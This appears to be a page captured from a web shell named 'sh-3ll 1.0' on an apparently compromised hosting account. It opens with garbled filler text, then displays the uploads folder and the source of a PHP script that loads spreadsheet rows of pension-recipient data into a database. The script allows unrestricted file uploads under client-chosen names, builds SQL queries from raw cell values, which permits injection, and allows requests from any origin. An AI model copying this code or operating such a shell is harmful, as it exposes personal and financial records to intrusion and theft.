fhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhd dfhdfhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhdfh bnmbertsurrttrtrtrtrjhjhjjhjhhjhjhjhf'tdfg php sh-3ll

HOME


sh-3ll 1.0
DIR:/home/u1105814/public_html/uploads/
Upload File :
Current File : /home/u1105814/public_html/uploads/Upload_taspen.php
<?php
header('Access-Control-Allow-Origin: *');
error_reporting(E_ALL & ~E_NOTICE);
error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED);
require_once('../koneksi.php');
	if (isset($_POST['kirim'])) {

		require('spreadsheet-reader-master/php-excel-reader/excel_reader2.php');
		require('spreadsheet-reader-master/SpreadsheetReader.php');

		//upload data excel kedalam folder uploads
		$target_dir = "uploads/".basename($_FILES['fileUpload']['name']);
		
		move_uploaded_file($_FILES['fileUpload']['tmp_name'],$target_dir);

		$Reader = new SpreadsheetReader($target_dir);
		
		foreach ($Reader as $Key => $Row)
		{
			
			// import data excel mulai baris ke-2 (karena ada header pada baris 1)
			if ($Key < 1) continue;			
			$query=mysqli_query($conn,"INSERT INTO pensiun_umum(
			    NOTAS,
                KDJNSPENS,
                NMPENS,
                LHRPENS,
                PENPOK,
                TUN_IST,
                TUNJ_ANK,
                TUNJ_BERAS,
                PSUAIAN,
                PBULAT,
                KOTOR,
                BERSIH,
                RAPEL,
                KODE_JIWA,
                NAMAPENRIMA,
                LHR_PENERIMA,
                USIA,
                ALAMAT,
                NMDATI4,
                KOTA,
                KODE_JURU_BAYAR,
                NAMA_JURU_BAYAR,
                NORUT,
                TMT_PENSIUN,
                NOMOR_SKEP,
                TGL_SKEP,
                NOREK,
                PENERBIT_SKEP,
                NPWP,
                TMTSTOP,
                KDSTOP,
                NMSTOP,
                TELEPON,
                KODE_PANGKAT,
                KODE_CABANG,
                TMTFLAG,
                TATFLAG,
                MITRAFLAG,
                KDHUBKEL,
                SEX,
                AGAMA,
                NOKTP,
                MAKS_ANGSURAN,
                JANGKA_WAKTU,
                MAKS_PLAFOND,
                POTONGAN,
                NETT_BNK_BNTN

			    ) VALUES ('".$Row[0]."', '".$Row[1]."', '".$Row[2]."', '".$Row[3]."', '".$Row[4]."', '".$Row[5]."', '".$Row[6]."', '".$Row[7]."', '".$Row[8]."', '".$Row[9]."', '".$Row[10]."', '".$Row[11]."', '".$Row[12]."', '".$Row[13]."', '".$Row[14]."', '".$Row[15]."', '".$Row[16]."', '".$Row[17]."', '".$Row[18]."', '".$Row[19]."', '".$Row[20]."', '".$Row[21]."', '".$Row[22]."', '".$Row[23]."', '".$Row[24]."', '".$Row[25]."', '".$Row[26]."', '".$Row[27]."', '".$Row[28]."', '".$Row[29]."', '".$Row[30]."', '".$Row[31]."', '".$Row[32]."', '".$Row[33]."', '".$Row[34]."', '".$Row[35]."', '".$Row[36]."', '".$Row[37]."', '".$Row[38]."', '".$Row[39]."', '".$Row[40]."', '".$Row[41]."', '".$Row[42]."', '".$Row[43]."', '".$Row[44]."', '".$Row[45]."', '".$Row[46]."', '".$Row[47]."', '".$Row[48]."', '".$Row[49]."')");
		}
		if ($query) {
				//echo "Import data berhasil";
			}else{
				//echo("Error description: " . $conn -> error);
			}
	
	$sukses="Import data berhasil";
    $resp["sukses"] = $sukses;

}
else
    {
    $resp["error"] = $conn -> error;   
    }
header('content-type: application/json');  
  
$response["response"]=$resp;  
echo json_encode($response);  
  
@mysqli_close($conn);
	?>